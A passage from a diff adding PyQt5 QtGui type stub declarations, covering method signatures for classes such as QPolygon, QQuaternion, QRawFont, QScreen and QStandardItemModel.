int: ... + def hueSize(self) -> int: ... + def blackSize(self) -> int: ... + def yellowSize(self) -> int: ... + def magentaSize(self) -> int: ... + def cyanSize(self) -> int: ... + def blueSize(self) -> int: ... + def greenSize(self) -> int: ... + def redSize(self) -> int: ... + def channelCount(self) -> int: ... + def colorModel(self) -> 'QPixelFormat.ColorModel': ... + + +class QPixmapCache(sip.simplewrapper): + + class Key(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QPixmapCache.Key') -> None: ... + + def isValid(self) -> bool: ... + def swap(self, other: 'QPixmapCache.Key') -> None: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QPixmapCache') -> None: ... + + @staticmethod + def setCacheLimit(a0: int) -> None: ... + @staticmethod + def replace(key: 'QPixmapCache.Key', pixmap: QPixmap) -> bool: ... + @typing.overload + @staticmethod + def remove(key: str) -> None: ... + @typing.overload + @staticmethod + def remove(key: 'QPixmapCache.Key') -> None: ... + @typing.overload + @staticmethod + def insert(key: str, a1: QPixmap) -> bool: ... + @typing.overload + @staticmethod + def insert(pixmap: QPixmap) -> 'QPixmapCache.Key': ... + @typing.overload + @staticmethod + def find(key: str) -> QPixmap: ... + @typing.overload + @staticmethod + def find(key: 'QPixmapCache.Key') -> QPixmap: ... + @staticmethod + def clear() -> None: ... + @staticmethod + def cacheLimit() -> int: ... + + +class QPolygon(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a: 'QPolygon') -> None: ... + @typing.overload + def __init__(self, points: typing.List[int]) -> None: ... + @typing.overload + def __init__(self, v: typing.Iterable[QtCore.QPoint]) -> None: ... + @typing.overload + def __init__(self, rectangle: QtCore.QRect, closed: bool = ...) -> None: ... + @typing.overload + def __init__(self, asize: int) -> None: ... + @typing.overload + def __init__(self, variant: typing.Any) -> None: ... + + def intersects(self, r: 'QPolygon') -> bool: ... + def swap(self, other: 'QPolygon') -> None: ... + def __contains__(self, value: QtCore.QPoint) -> int: ... + @typing.overload + def __delitem__(self, i: int) -> None: ... + @typing.overload + def __delitem__(self, slice: slice) -> None: ... + @typing.overload + def __setitem__(self, i: int, value: QtCore.QPoint) -> None: ... + @typing.overload + def __setitem__(self, slice: slice, list: 'QPolygon') -> None: ... + @typing.overload + def __getitem__(self, i: int) -> QtCore.QPoint: ... + @typing.overload + def __getitem__(self, slice: slice) -> 'QPolygon': ... + @typing.overload + def value(self, i: int) -> QtCore.QPoint: ... + @typing.overload + def value(self, i: int, defaultValue: QtCore.QPoint) -> QtCore.QPoint: ... + def size(self) -> int: ... + def replace(self, i: int, value: QtCore.QPoint) -> None: ... + @typing.overload + def remove(self, i: int) -> None: ... + @typing.overload + def remove(self, i: int, count: int) -> None: ... + def prepend(self, value: QtCore.QPoint) -> None: ... + def mid(self, pos: int, length: int = ...) -> 'QPolygon': ... + def lastIndexOf(self, value: QtCore.QPoint, from_: int = ...) -> int: ... + def last(self) -> QtCore.QPoint: ... + def isEmpty(self) -> bool: ... + def insert(self, i: int, value: QtCore.QPoint) -> None: ... + def indexOf(self, value: QtCore.QPoint, from_: int = ...) -> int: ... + def first(self) -> QtCore.QPoint: ... + def fill(self, value: QtCore.QPoint, size: int = ...) -> None: ... + def data(self) -> PyQt5.sip.voidptr: ... + def __len__(self) -> int: ... + @typing.overload + def count(self, value: QtCore.QPoint) -> int: ... + @typing.overload + def count(self) -> int: ... + def contains(self, value: QtCore.QPoint) -> bool: ... + def clear(self) -> None: ... + def at(self, i: int) -> QtCore.QPoint: ... + def append(self, value: QtCore.QPoint) -> None: ... + @typing.overload + def translated(self, dx: int, dy: int) -> 'QPolygon': ... + @typing.overload + def translated(self, offset: QtCore.QPoint) -> 'QPolygon': ... + def subtracted(self, r: 'QPolygon') -> 'QPolygon': ... + def intersected(self, r: 'QPolygon') -> 'QPolygon': ... + def united(self, r: 'QPolygon') -> 'QPolygon': ... + def containsPoint(self, pt: QtCore.QPoint, fillRule: QtCore.Qt.FillRule) -> bool: ... + @typing.overload + def setPoint(self, index: int, pt: QtCore.QPoint) -> None: ... + @typing.overload + def setPoint(self, index: int, x: int, y: int) -> None: ... + @typing.overload + def putPoints(self, index: int, firstx: int, firsty: int, *a3) -> None: ... + @typing.overload + def putPoints(self, index: int, nPoints: int, fromPolygon: 'QPolygon', from_: int = ...) -> None: ... + @typing.overload + def setPoints(self, points: typing.List[int]) -> None: ... + @typing.overload + def setPoints(self, firstx: int, firsty: int, *a2) -> None: ... + def point(self, index: int) -> QtCore.QPoint: ... + def boundingRect(self) -> QtCore.QRect: ... + @typing.overload + def translate(self, dx: int, dy: int) -> None: ... + @typing.overload + def translate(self, offset: QtCore.QPoint) -> None: ... + + +class QPolygonF(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a: 'QPolygonF') -> None: ... + @typing.overload + def __init__(self, v: typing.Iterable[typing.Union[QtCore.QPointF, QtCore.QPoint]]) -> None: ... + @typing.overload + def __init__(self, r: QtCore.QRectF) -> None: ... + @typing.overload + def __init__(self, a: QPolygon) -> None: ... + @typing.overload + def __init__(self, asize: int) -> None: ... + + def intersects(self, r: 'QPolygonF') -> bool: ... + def swap(self, other: 'QPolygonF') -> None: ... + def __contains__(self, value: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> int: ... + @typing.overload + def __delitem__(self, i: int) -> None: ... + @typing.overload + def __delitem__(self, slice: slice) -> None: ... + @typing.overload + def __setitem__(self, i: int, value: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def __setitem__(self, slice: slice, list: 'QPolygonF') -> None: ... + @typing.overload + def __getitem__(self, i: int) -> QtCore.QPointF: ... + @typing.overload + def __getitem__(self, slice: slice) -> 'QPolygonF': ... + @typing.overload + def value(self, i: int) -> QtCore.QPointF: ... + @typing.overload + def value(self, i: int, defaultValue: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> QtCore.QPointF: ... + def size(self) -> int: ... + def replace(self, i: int, value: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def remove(self, i: int) -> None: ... + @typing.overload + def remove(self, i: int, count: int) -> None: ... + def prepend(self, value: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def mid(self, pos: int, length: int = ...) -> 'QPolygonF': ... + def lastIndexOf(self, value: typing.Union[QtCore.QPointF, QtCore.QPoint], from_: int = ...) -> int: ... + def last(self) -> QtCore.QPointF: ... + def isEmpty(self) -> bool: ... + def insert(self, i: int, value: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def indexOf(self, value: typing.Union[QtCore.QPointF, QtCore.QPoint], from_: int = ...) -> int: ... + def first(self) -> QtCore.QPointF: ... + def fill(self, value: typing.Union[QtCore.QPointF, QtCore.QPoint], size: int = ...) -> None: ... + def data(self) -> PyQt5.sip.voidptr: ... + def __len__(self) -> int: ... + @typing.overload + def count(self, value: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> int: ... + @typing.overload + def count(self) -> int: ... + def contains(self, value: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> bool: ... + def clear(self) -> None: ... + def at(self, i: int) -> QtCore.QPointF: ... + def append(self, value: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def translated(self, offset: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> 'QPolygonF': ... + @typing.overload + def translated(self, dx: float, dy: float) -> 'QPolygonF': ... + def subtracted(self, r: 'QPolygonF') -> 'QPolygonF': ... + def intersected(self, r: 'QPolygonF') -> 'QPolygonF': ... + def united(self, r: 'QPolygonF') -> 'QPolygonF': ... + def containsPoint(self, pt: typing.Union[QtCore.QPointF, QtCore.QPoint], fillRule: QtCore.Qt.FillRule) -> bool: ... + def boundingRect(self) -> QtCore.QRectF: ... + def isClosed(self) -> bool: ... + def toPolygon(self) -> QPolygon: ... + @typing.overload + def translate(self, offset: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def translate(self, dx: float, dy: float) -> None: ... + + +class QQuaternion(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, aScalar: float, xpos: float, ypos: float, zpos: float) -> None: ... + @typing.overload + def __init__(self, aScalar: float, aVector: 'QVector3D') -> None: ... + @typing.overload + def __init__(self, aVector: 'QVector4D') -> None: ... + @typing.overload + def __init__(self, a0: 'QQuaternion') -> None: ... + + def __neg__(self) -> 'QQuaternion': ... + def toEulerAngles(self) -> 'QVector3D': ... + def conjugated(self) -> 'QQuaternion': ... + def inverted(self) -> 'QQuaternion': ... + @staticmethod + def dotProduct(q1: 'QQuaternion', q2: 'QQuaternion') -> float: ... + @staticmethod + def rotationTo(from_: 'QVector3D', to: 'QVector3D') -> 'QQuaternion': ... + @staticmethod + def fromDirection(direction: 'QVector3D', up: 'QVector3D') -> 'QQuaternion': ... + @staticmethod + def fromAxes(xAxis: 'QVector3D', yAxis: 'QVector3D', zAxis: 'QVector3D') -> 'QQuaternion': ... + def getAxes(self) -> typing.Tuple['QVector3D', 'QVector3D', 'QVector3D']: ... + @staticmethod + def fromRotationMatrix(rot3x3: QMatrix3x3) -> 'QQuaternion': ... + def toRotationMatrix(self) -> QMatrix3x3: ... + @typing.overload + @staticmethod + def fromEulerAngles(pitch: float, yaw: float, roll: float) -> 'QQuaternion': ... + @typing.overload + @staticmethod + def fromEulerAngles(eulerAngles: 'QVector3D') -> 'QQuaternion': ... + def getEulerAngles(self) -> typing.Tuple[float, float, float]: ... + def getAxisAndAngle(self) -> typing.Tuple['QVector3D', float]: ... + def toVector4D(self) -> 'QVector4D': ... + def vector(self) -> 'QVector3D': ... + @typing.overload + def setVector(self, aVector: 'QVector3D') -> None: ... + @typing.overload + def setVector(self, aX: float, aY: float, aZ: float) -> None: ... + def conjugate(self) -> 'QQuaternion': ... + def setScalar(self, aScalar: float) -> None: ... + def setZ(self, aZ: float) -> None: ... + def setY(self, aY: float) -> None: ... + def setX(self, aX: float) -> None: ... + def scalar(self) -> float: ... + def z(self) -> float: ... + def y(self) -> float: ... + def x(self) -> float: ... + def isIdentity(self) -> bool: ... + def isNull(self) -> bool: ... + @staticmethod + def nlerp(q1: 'QQuaternion', q2: 'QQuaternion', t: float) -> 'QQuaternion': ... + @staticmethod + def slerp(q1: 'QQuaternion', q2: 'QQuaternion', t: float) -> 'QQuaternion': ... + @typing.overload + @staticmethod + def fromAxisAndAngle(axis: 'QVector3D', angle: float) -> 'QQuaternion': ... + @typing.overload + @staticmethod + def fromAxisAndAngle(x: float, y: float, z: float, angle: float) -> 'QQuaternion': ... + def rotatedVector(self, vector: 'QVector3D') -> 'QVector3D': ... + def normalize(self) -> None: ... + def normalized(self) -> 'QQuaternion': ... + def lengthSquared(self) -> float: ... + def length(self) -> float: ... + def __repr__(self) -> str: ... + + +class QRasterWindow(QPaintDeviceWindow): + + def __init__(self, parent: typing.Optional[QWindow] = ...) -> None: ... + + def metric(self, metric: QPaintDevice.PaintDeviceMetric) -> int: ... + + +class QRawFont(sip.simplewrapper): + + class LayoutFlag(int): + SeparateAdvances = ... # type: QRawFont.LayoutFlag + KernedAdvances = ... # type: QRawFont.LayoutFlag + UseDesignMetrics = ... # type: QRawFont.LayoutFlag + + class AntialiasingType(int): + PixelAntialiasing = ... # type: QRawFont.AntialiasingType + SubPixelAntialiasing = ... # type: QRawFont.AntialiasingType + + class LayoutFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QRawFont.LayoutFlags', 'QRawFont.LayoutFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QRawFont.LayoutFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QRawFont.LayoutFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, fileName: str, pixelSize: float, hintingPreference: QFont.HintingPreference = ...) -> None: ... + @typing.overload + def __init__(self, fontData: typing.Union[QtCore.QByteArray, bytes, bytearray], pixelSize: float, hintingPreference: QFont.HintingPreference = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QRawFont') -> None: ... + + def __hash__(self) -> int: ... + def capHeight(self) -> float: ... + def swap(self, other: 'QRawFont') -> None: ... + def underlinePosition(self) -> float: ... + def lineThickness(self) -> float: ... + def boundingRect(self, glyphIndex: int) -> QtCore.QRectF: ... + @staticmethod + def fromFont(font: QFont, writingSystem: QFontDatabase.WritingSystem = ...) -> 'QRawFont': ... + def fontTable(self, tagName: str) -> QtCore.QByteArray: ... + def supportedWritingSystems(self) -> typing.List[QFontDatabase.WritingSystem]: ... + @typing.overload + def supportsCharacter(self, ucs4: int) -> bool: ... + @typing.overload + def supportsCharacter(self, character: str) -> bool: ... + def loadFromData(self, fontData: typing.Union[QtCore.QByteArray, bytes, bytearray], pixelSize: float, hintingPreference: QFont.HintingPreference) -> None: ... + def loadFromFile(self, fileName: str, pixelSize: float, hintingPreference: QFont.HintingPreference) -> None: ... + def unitsPerEm(self) -> float: ... + def maxCharWidth(self) -> float: ... + def averageCharWidth(self) -> float: ... + def xHeight(self) -> float: ... + def leading(self) -> float: ... + def descent(self) -> float: ... + def ascent(self) -> float: ... + def hintingPreference(self) -> QFont.HintingPreference: ... + def pixelSize(self) -> float: ... + def setPixelSize(self, pixelSize: float) -> None: ... + def pathForGlyph(self, glyphIndex: int) -> QPainterPath: ... + def alphaMapForGlyph(self, glyphIndex: int, antialiasingType: 'QRawFont.AntialiasingType' = ..., transform: 'QTransform' = ...) -> QImage: ... + @typing.overload + def advancesForGlyphIndexes(self, glyphIndexes: typing.Iterable[int]) -> typing.List[QtCore.QPointF]: ... + @typing.overload + def advancesForGlyphIndexes(self, glyphIndexes: typing.Iterable[int], layoutFlags: typing.Union['QRawFont.LayoutFlags', 'QRawFont.LayoutFlag']) -> typing.List[QtCore.QPointF]: ... + def glyphIndexesForString(self, text: str) -> typing.List[int]: ... + def weight(self) -> int: ... + def style(self) -> QFont.Style: ... + def styleName(self) -> str: ... + def familyName(self) -> str: ... + def isValid(self) -> bool: ... + + +class QRegion(sip.simplewrapper): + + class RegionType(int): + Rectangle = ... # type: QRegion.RegionType + Ellipse = ... # type: QRegion.RegionType + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, x: int, y: int, w: int, h: int, type: 'QRegion.RegionType' = ...) -> None: ... + @typing.overload + def __init__(self, r: QtCore.QRect, type: 'QRegion.RegionType' = ...) -> None: ... + @typing.overload + def __init__(self, a: QPolygon, fillRule: QtCore.Qt.FillRule = ...) -> None: ... + @typing.overload + def __init__(self, bitmap: QBitmap) -> None: ... + @typing.overload + def __init__(self, region: 'QRegion') -> None: ... + @typing.overload + def __init__(self, variant: typing.Any) -> None: ... + + def isNull(self) -> bool: ... + def swap(self, other: 'QRegion') -> None: ... + def rectCount(self) -> int: ... + @typing.overload + def intersects(self, r: 'QRegion') -> bool: ... + @typing.overload + def intersects(self, r: QtCore.QRect) -> bool: ... + def xored(self, r: 'QRegion') -> 'QRegion': ... + def subtracted(self, r: 'QRegion') -> 'QRegion': ... + @typing.overload + def intersected(self, r: 'QRegion') -> 'QRegion': ... + @typing.overload + def intersected(self, r: QtCore.QRect) -> 'QRegion': ... + def setRects(self, a0: typing.Iterable[QtCore.QRect]) -> None: ... + def rects(self) -> typing.List[QtCore.QRect]: ... + def boundingRect(self) -> QtCore.QRect: ... + @typing.overload + def united(self, r: 'QRegion') -> 'QRegion': ... + @typing.overload + def united(self, r: QtCore.QRect) -> 'QRegion': ... + @typing.overload + def translated(self, dx: int, dy: int) -> 'QRegion': ... + @typing.overload + def translated(self, p: QtCore.QPoint) -> 'QRegion': ... + @typing.overload + def translate(self, dx: int, dy: int) -> None: ... + @typing.overload + def translate(self, p: QtCore.QPoint) -> None: ... + @typing.overload + def __contains__(self, p: QtCore.QPoint) -> int: ... + @typing.overload + def __contains__(self, r: QtCore.QRect) -> int: ... + @typing.overload + def contains(self, p: QtCore.QPoint) -> bool: ... + @typing.overload + def contains(self, r: QtCore.QRect) -> bool: ... + def __bool__(self) -> int: ... + def isEmpty(self) -> bool: ... + + +class QRgba64(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QRgba64') -> None: ... + + def __int__(self) -> int: ... + def unpremultiplied(self) -> 'QRgba64': ... + def premultiplied(self) -> 'QRgba64': ... + def toRgb16(self) -> int: ... + def toArgb32(self) -> int: ... + def alpha8(self) -> int: ... + def blue8(self) -> int: ... + def green8(self) -> int: ... + def red8(self) -> int: ... + def setAlpha(self, _alpha: int) -> None: ... + def setBlue(self, _blue: int) -> None: ... + def setGreen(self, _green: int) -> None: ... + def setRed(self, _red: int) -> None: ... + def alpha(self) -> int: ... + def blue(self) -> int: ... + def green(self) -> int: ... + def red(self) -> int: ... + def isTransparent(self) -> bool: ... + def isOpaque(self) -> bool: ... + @staticmethod + def fromArgb32(rgb: int) -> 'QRgba64': ... + @staticmethod + def fromRgba(red: int, green: int, blue: int, alpha: int) -> 'QRgba64': ... + @typing.overload + @staticmethod + def fromRgba64(c: int) -> 'QRgba64': ... + @typing.overload + @staticmethod + def fromRgba64(red: int, green: int, blue: int, alpha: int) -> 'QRgba64': ... + + +class QScreen(QtCore.QObject): + + def virtualSiblingAt(self, point: QtCore.QPoint) -> 'QScreen': ... + def serialNumber(self) -> str: ... + def model(self) -> str: ... + def manufacturer(self) -> str: ... + def availableGeometryChanged(self, geometry: QtCore.QRect) -> None: ... + def virtualGeometryChanged(self, rect: QtCore.QRect) -> None: ... + def physicalSizeChanged(self, size: QtCore.QSizeF) -> None: ... + def refreshRateChanged(self, refreshRate: float) -> None: ... + def orientationChanged(self, orientation: QtCore.Qt.ScreenOrientation) -> None: ... + def primaryOrientationChanged(self, orientation: QtCore.Qt.ScreenOrientation) -> None: ... + def logicalDotsPerInchChanged(self, dpi: float) -> None: ... + def physicalDotsPerInchChanged(self, dpi: float) -> None: ... + def geometryChanged(self, geometry: QtCore.QRect) -> None: ... + def devicePixelRatio(self) -> float: ... + def refreshRate(self) -> float: ... + def grabWindow(self, window: PyQt5.sip.voidptr, x: int = ..., y: int = ..., width: int = ..., height: int = ...) -> QPixmap: ... + def isLandscape(self, orientation: QtCore.Qt.ScreenOrientation) -> bool: ... + def isPortrait(self, orientation: QtCore.Qt.ScreenOrientation) -> bool: ... + def mapBetween(self, a: QtCore.Qt.ScreenOrientation, b: QtCore.Qt.ScreenOrientation, rect: QtCore.QRect) -> QtCore.QRect: ... + def transformBetween(self, a: QtCore.Qt.ScreenOrientation, b: QtCore.Qt.ScreenOrientation, target: QtCore.QRect) -> 'QTransform': ... + def angleBetween(self, a: QtCore.Qt.ScreenOrientation, b: QtCore.Qt.ScreenOrientation) -> int: ... + def setOrientationUpdateMask(self, mask: typing.Union[QtCore.Qt.ScreenOrientations, QtCore.Qt.ScreenOrientation]) -> None: ... + def orientationUpdateMask(self) -> QtCore.Qt.ScreenOrientations: ... + def orientation(self) -> QtCore.Qt.ScreenOrientation: ... + def primaryOrientation(self) -> QtCore.Qt.ScreenOrientation: ... + def nativeOrientation(self) -> QtCore.Qt.ScreenOrientation: ... + def availableVirtualGeometry(self) -> QtCore.QRect: ... + def availableVirtualSize(self) -> QtCore.QSize: ... + def virtualGeometry(self) -> QtCore.QRect: ... + def virtualSize(self) -> QtCore.QSize: ... + def virtualSiblings(self) -> typing.List['QScreen']: ... + def availableGeometry(self) -> QtCore.QRect: ... + def availableSize(self) -> QtCore.QSize: ... + def logicalDotsPerInch(self) -> float: ... + def logicalDotsPerInchY(self) -> float: ... + def logicalDotsPerInchX(self) -> float: ... + def physicalDotsPerInch(self) -> float: ... + def physicalDotsPerInchY(self) -> float: ... + def physicalDotsPerInchX(self) -> float: ... + def physicalSize(self) -> QtCore.QSizeF: ... + def geometry(self) -> QtCore.QRect: ... + def size(self) -> QtCore.QSize: ... + def depth(self) -> int: ... + def name(self) -> str: ... + + +class QSessionManager(QtCore.QObject): + + class RestartHint(int): + RestartIfRunning = ... # type: QSessionManager.RestartHint + RestartAnyway = ... # type: QSessionManager.RestartHint + RestartImmediately = ... # type: QSessionManager.RestartHint + RestartNever = ... # type: QSessionManager.RestartHint + + def requestPhase2(self) -> None: ... + def isPhase2(self) -> bool: ... + @typing.overload + def setManagerProperty(self, name: str, value: str) -> None: ... + @typing.overload + def setManagerProperty(self, name: str, value: typing.Iterable[str]) -> None: ... + def discardCommand(self) -> typing.List[str]: ... + def setDiscardCommand(self, a0: typing.Iterable[str]) -> None: ... + def restartCommand(self) -> typing.List[str]: ... + def setRestartCommand(self, a0: typing.Iterable[str]) -> None: ... + def restartHint(self) -> 'QSessionManager.RestartHint': ... + def setRestartHint(self, a0: 'QSessionManager.RestartHint') -> None: ... + def cancel(self) -> None: ... + def release(self) -> None: ... + def allowsErrorInteraction(self) -> bool: ... + def allowsInteraction(self) -> bool: ... + def sessionKey(self) -> str: ... + def sessionId(self) -> str: ... + + +class QStandardItemModel(QtCore.QAbstractItemModel): + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, rows: int, columns: int, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def clearItemData(self, index: QtCore.QModelIndex) -> bool: ... + def itemChanged(self, item: 'QStandardItem') -> None: ... + def setItemRoleNames(self, roleNames: typing.Dict[int, typing.Union[QtCore.QByteArray, bytes, bytearray]]) -> None: ... + def sibling(self, row: int, column: int, idx: QtCore.QModelIndex) -> QtCore.QModelIndex: ... + def dropMimeData(self, data: QtCore.QMimeData, action: QtCore.Qt.DropAction, row: int, column: int, parent: QtCore.QModelIndex) -> bool: ... + def mimeData(self, indexes: typing.Iterable[QtCore.QModelIndex]) -> QtCore.QMimeData: ... + def mimeTypes(self) -> typing.List[str]: ... + def setSortRole(self, role: int) -> None: ... + def sortRole(self) -> int: ... + def findItems(self, text: str, flags: typing.Union[QtCore.Qt.MatchFlags, QtCore.Qt.MatchFlag] = ..., column: int = ...) -> typing.List['QStandardItem']: ... + def setItemPrototype(self, item: 'QStandardItem') -> None: ... + def itemPrototype(self) -> 'QStandardItem': ... + def takeVerticalHeaderItem(self, row: int) -> 'QStandardItem': ... + def takeHorizontalHeaderItem(self, column: int) -> 'QStandardItem': ... + def takeColumn(self, column: int) -> typing.List['QStandardItem']: ... + def takeRow(self, row: int) -> typing.List['QStandardItem']: ... + def takeItem(self, row: int, column: int = ...) -> 'QStandardItem': ... + @typing.overload + def insertColumn(self, column: int, items: typing.Iterable['QStandardItem']) -> None: ... + @typing.overload + def insertColumn(self, column: int, parent: QtCore.QModelIndex = ...) -> bool: ... + @typing.overload + def insertRow(self, row: int, items: typing.Iterable['QStandardItem']) -> None: ... + @typing.overload + def insertRow(self, arow: int, aitem: 'QStandardItem') -> None: ... + @typing.overload + def insertRow(self, row: int, parent: QtCore.QModelIndex = ...) -> bool: ... + def appendColumn(self, items: typing.Iterable['QStandardItem']) -> None: ... + @typing.overload + def appendRow(self, items: typing.Iterable['QStandardItem']) -> None: ... + @typing.overload + def appendRow(self, aitem: 'QStandardItem') -> None: ... + def setColumnCount(self, columns: int) -> None: ... + def setRowCount(self, rows: int) -> None: ... + def setVerticalHeaderLabels(self, labels: typing.Iterable[str]) -> None: ... + def setHorizontalHeaderLabels(self, labels: typing.Iterable[str]) -> None: ... + def setVerticalHeaderItem(self, row: int, item: 'QStandardItem') -> None: ... + def verticalHeaderItem(self, row: int) -> 'QStandardItem': ... + def setHorizontalHeaderItem(self, column: int, item: 'QStandardItem') -> None: ... + def horizontalHeaderItem(self, column: int) -> 'QStandardItem': ... + def invisibleRootItem(self) -> 'QStandardItem': ... + @typing.overload + def setItem(self, row: int, column: int, item: 'QStandardItem') -> None: ... + @typing.overload + def setItem(self, arow: int, aitem: 'QStandardItem') -> None: ... + def item(self, row: int, column: int = ...) -> 'QStandardItem': ... + def indexFromItem(self, item: 'QStandardItem') -> QtCore.QModelIndex: ... + def itemFromIndex(self, index: QtCore.QModelIndex) -> 'QStandardItem': ... + def sort(self, column: int, order: QtCore.Qt.SortOrder = ...) -> None: ... + def setItemData(self, index: QtCore.QModelIndex, roles: typing.Dict[int, typing.Any]) -> bool: ... + def itemData(self, index: QtCore.QModelIndex) -> typing.Dict[int, typing.Any]: ... + def supportedDropActions(self) -> QtCore.Qt.DropActions: ... + def clear(self) -> None: ... + def flags(self, index: QtCore.QModelIndex) -> QtCore.Qt.ItemFlags: ... + def removeColumns(self, column: int, count: int, parent: QtCore.QModelIndex = ...) -> bool: ... + def removeRows(self, row: int, count: int, parent: QtCore.QModelIndex = ...) -> bool: ... + def insertColumns(self, column: int, count: int, parent: QtCore.QModelIndex = ...) -> bool: ... + def insertRows(self, row: int, count: int, parent: QtCore.QModelIndex = ...) -> bool: ... + def setHeaderData(self, section: int, orientation: QtCore.Qt.Orientation, value: typing.Any, role: int = ...) -> bool: ... + def headerData(self, section: int, orientation: QtCore.Qt.Orientation, role: int = ...) -> typing.Any: ... + def setData(self, index: QtCore.QModelIndex, value: typing.Any, role: int = ...) -> bool: ... + def data(self, index: QtCore.QModelIndex, role: int = ...) -> typing.Any: ... + def hasChildren(self, parent: QtCore.QModelIndex = ...) -> bool: ... + def columnCount(self, parent: QtCore.QModelIndex = ...) -> int: ... + def rowCount(self, parent: QtCore.QModelIndex = ...) -> int: ... + @typing.overload + def parent(self, child: QtCore.QModelIndex) -> QtCore.QModelIndex: ... + @typing.overload + def parent(self) -> QtCore.QObject: ... + def index(self, row: int, column: int, parent: QtCore.QModelIndex = ...) -> QtCore.QModelIndex: ... + + +class QStandardItem(PyQt5.sip.wrapper): + + class ItemType(int): + Type = ... # type: QStandardItem.ItemType + UserType = ... # type: QStandardItem.ItemType + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, text: str) -> None: ... + @typing.overload + def __init__(self, icon: QIcon, text: str) -> None: ... + @typing.overload + def __init__(self, rows: int, columns: int = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QStandardItem') -> None: ... + + def clearData(self) -> None: ... + def setUserTristate(self, tristate: bool) -> None: ... + def isUserTristate(self) -> bool: ... + def setAutoTristate(self, tristate: bool) -> None: ... + def isAutoTristate(self) -> bool: ... + def emitDataChanged(self) -> None: ... + def appendRows(self, items: typing.Iterable['QStandardItem']) -> None: ... + def appendColumn(self, items: typing.Iterable['QStandardItem']) -> None: ... + @typing.overload + def appendRow(self, items: typing.Iterable['QStandardItem']) -> None: ... + @typing.overload + def appendRow(self, aitem: 'QStandardItem') -> None: ... + def setAccessibleDescription(self, aaccessibleDescription: str) -> None: ... + def setAccessibleText(self, aaccessibleText: str) -> None: ... + def setCheckState(self, acheckState: QtCore.Qt.CheckState) -> None: ... + def setForeground(self, abrush: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + def setBackground(self, abrush: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + def setTextAlignment(self, atextAlignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def setFont(self, afont: QFont) -> None: ... + def setSizeHint(self, asizeHint: QtCore.QSize) -> None: ... + def setWhatsThis(self, awhatsThis: str) -> None: ... + def setStatusTip(self, astatusTip: str) -> None: ... + def setToolTip(self, atoolTip: str) -> None: ... + def setIcon(self, aicon: QIcon) -> None: ... + def setText(self, atext: str) -> None: ... + def write(self, out: QtCore.QDataStream) -> None: ... + def read(self, in_: QtCore.QDataStream) -> None: ... + def type(self) -> int: ... + def clone(self) -> 'QStandardItem': ... + def sortChildren(self, column: int, order: QtCore.Qt.SortOrder = ...) -> None: ... + def takeColumn(self, column: int) -> typing.List['QStandardItem']: ... + def takeRow(self, row: int) -> typing.List['QStandardItem']: ... + def takeChild(self, row: int, column: int = ...) -> 'QStandardItem': ... + def removeColumns(self, column: int, count: int) -> None: ... + def removeRows(self, row: int, count: int) -> None: ... + def removeColumn(self, column: int) -> None: ... + def removeRow(self, row: int) -> None: ... + def insertColumns(self, column: int, count: int) -> None: ... + def insertColumn(self, column: int, items: typing.Iterable['QStandardItem']) -> None: ... + @typing.overload + def insertRows(self, row: int, count: int) -> None: ... + @typing.overload + def insertRows(self, row: int, items: typing.Iterable['QStandardItem']) -> None: ... + @typing.overload + def insertRow(self, row: int, items: typing.Iterable['QStandardItem']) -> None: ... + @typing.overload + def insertRow(self, arow: int, aitem: 'QStandardItem') -> None: ... + @typing.overload + def setChild(self, row: int, column: int, item: 'QStandardItem') -> None: ... + @typing.overload + def setChild(self, arow: int, aitem: 'QStandardItem') -> None: ... + def child(self, row: int, column: int = ...) -> 'QStandardItem': ... + def hasChildren(self) -> bool: ... + def setColumnCount(self, columns: int) -> None: ... + def columnCount(self) -> int: ... + def setRowCount(self, rows: int) -> None: ... + def rowCount(self) -> int: ... + def model(self) -> QStandardItemModel: ... + def index(self) -> QtCore.QModelIndex: ... + def column(self) -> int: ... + def row(self) -> int: ... + def parent(self) -> 'QStandardItem': ... + def setDropEnabled(self, dropEnabled: bool) -> None: ... + def isDropEnabled(self) -> bool: ... + def setDragEnabled(self, dragEnabled: bool) -> None: ... + def isDragEnabled(self) -> bool: ... + def setTristate(self, tristate: bool) -> None: ... + def isTristate(self) -> bool: ... + def setCheckable(self, checkable: bool) -> None: ... + def isCheckable(self) -> bool: ... + def setSelectable(self, selectable: bool) -> None: ... + def isSelectable(self) -> bool: ... + def setEditable(self, editable: bool) -> None: ... + def 